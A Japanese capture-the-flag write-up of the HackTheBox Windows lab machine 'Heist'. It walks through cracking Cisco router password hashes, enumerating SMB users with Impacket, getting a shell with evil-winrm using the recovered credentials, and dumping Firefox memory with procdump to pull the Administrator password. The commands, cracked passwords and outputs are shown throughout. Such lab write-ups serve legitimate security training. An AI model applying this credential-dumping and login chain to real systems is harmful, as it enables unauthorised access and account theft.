【HackTheBox】Heist WriteUp

2023/02/07に公開

はじめに

HackTheBox Winマシン Heistをやっていきます
https://app.hackthebox.com/machines/201

IPアドレスを/etc/hostsに追加したところからスタートします。

Enumeration

Nmapポートスキャン

nmap -sC -sV heist.htb

結果

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 00:35 EST
Nmap scan report for heist.htb (10.129.96.157)
Host is up (0.18s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-02-06T05:35:34
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.77 seconds

Http, SMBあたりがありそうです。

Httpの確認

http://heist.htbにアクセスします。
すると http://heist.htb/login.php にリダイレクトされます。

username:admin,password:adminあたりを適当に試しますが、ログインできません。
ゲストとしてログインできるのでログインします。

ゲストログイン

AdminとHazardの会話を見ることができ、会話の中に添付ファイルがあります。

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0 mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Cisco Password

面白そうなものはこのあたりにあります。Ciscoパスワード??

!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!

下二つの解読にはこのあたりを使いました、$1$pdQG$o8nrSzsGXeaduXrjlvKc91の方も似たようなサイトで解読できます。
ciscoパスワード解読

解読後

ユーザーネームとパスワード一覧を作っておきます。
Usernames

rout3r
admin
hazard

Passwords

$uperP@ssword
Q4)sJu\Y8qz*A3?d
stealth1agent

以上のパスワードを使ってもログインフォームにログインできませんでした。

Foothold

SMB

まずはSMBを調べます。

smbclient -L \\\\heist.htb -U hazard
Password for [WORKGROUP\hazard]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to heist.htb failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

特にこれと言って面白いものはありません。

Crackmapexec

https://github.com/Porchetta-Industries/CrackMapExec

Crackmapexec を使うと先ほど作ったusers,passwordsを使いログイン試行をしてくれます。エラーが出て使えなかったので、今回は自力でパスワードを試しました。

SMB内のユーザを調べる

Impacketのlookupsid.pyを使います。
https://github.com/fortra/impacket

cd /usr/share/doc/python3-impacket/examples
./lookupsid.py hazard:stealth1agent@heist.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

ChaseやJasonがいますね。

Nmap(再度)

WindowsマシンなのでWinRMが開いているか確認します。空いていれば今までに取得したユーザネーム、パスワードを使ってEvil WinRMでシェルを取得します。

nmap -sV -sC -p 5985 heist.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 20:10 EST
Nmap scan report for heist.htb (10.129.96.157)
Host is up (0.19s latency).

PORT     STATE SERVICE VERSION
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds

ありました。

Evil WinRM

いろいろ試行したのち、Chaseのパスワードを持っていることがわかります。
evil-winrm -i heist.htb -u Chase -p "Q4)sJu\Y8qz*A3?d"
これでChaseとしてマシンに入り込めました。

Userflag

ユーザーフラッグはDesktopの中にあります。

ToDo.txt

フラッグのほかにtodoリストもありました。

type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

Chaseはissues listを確認し続ける必要があるみたいです。おそらくそのissuelistはログイン先あたりにあるのでブラウザを確認します。
Chase以外にもadminあたりがログインしていればその情報を抜き取ることができるかもしれません。

ログインフォームのコード確認

login.phpにリダイレクトされたことがわかります。inetpub/wwwrootの中にありそうなのでcatで確認します。

login_passwordに該当するユーザ入力をハッシュ化し、直書きしてあるハッシュと比べて確認しているようです。

Privilege Escalation

プロセスのチェック

get-processでプロセスを確認します。

FirefoxのCPU usageが高いです。

procdump

Procdumpを以下から取得します。
https://learn.microsoft.com/ja-jp/sysinternals/downloads/procdump

手元にあるprocdumpをwinrmにアップロードします。

C:\Users\Chase\Desktop> upload /home/kali/Documents/WinTools/procdump.exe \Users\Chase\Desktop

dumpの取得

./procdump.exe -ma 6652 -accepteula

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[07:06:35] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_230207_070635.dmp
[07:06:35] Dump 1 writing: Estimated dump file size is 551 MB.
[07:06:37] Dump 1 complete: 551 MB written in 1.5 seconds
[07:06:37] Dump count reached.

dumpからパスワードの取得

cat firefox.exe_230207_070635.dmp | sls "login_password"でパスワードを抜き取ります。
admin@support.htbが引っ掛かりました。

FirefoxMOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=ååååà)Û‚ühÙW!

ログインパスワードもあります。
login_password=4dD!5}x/re8]FBuZ

Login as Administrator

Chaseから出て、Administratorとして接続します。

evil-winrm -i heist.htb -u Administrator -p '4dD!5}x/re8]FBuZ'

rootflagはdesktopの中にあります。

Discussion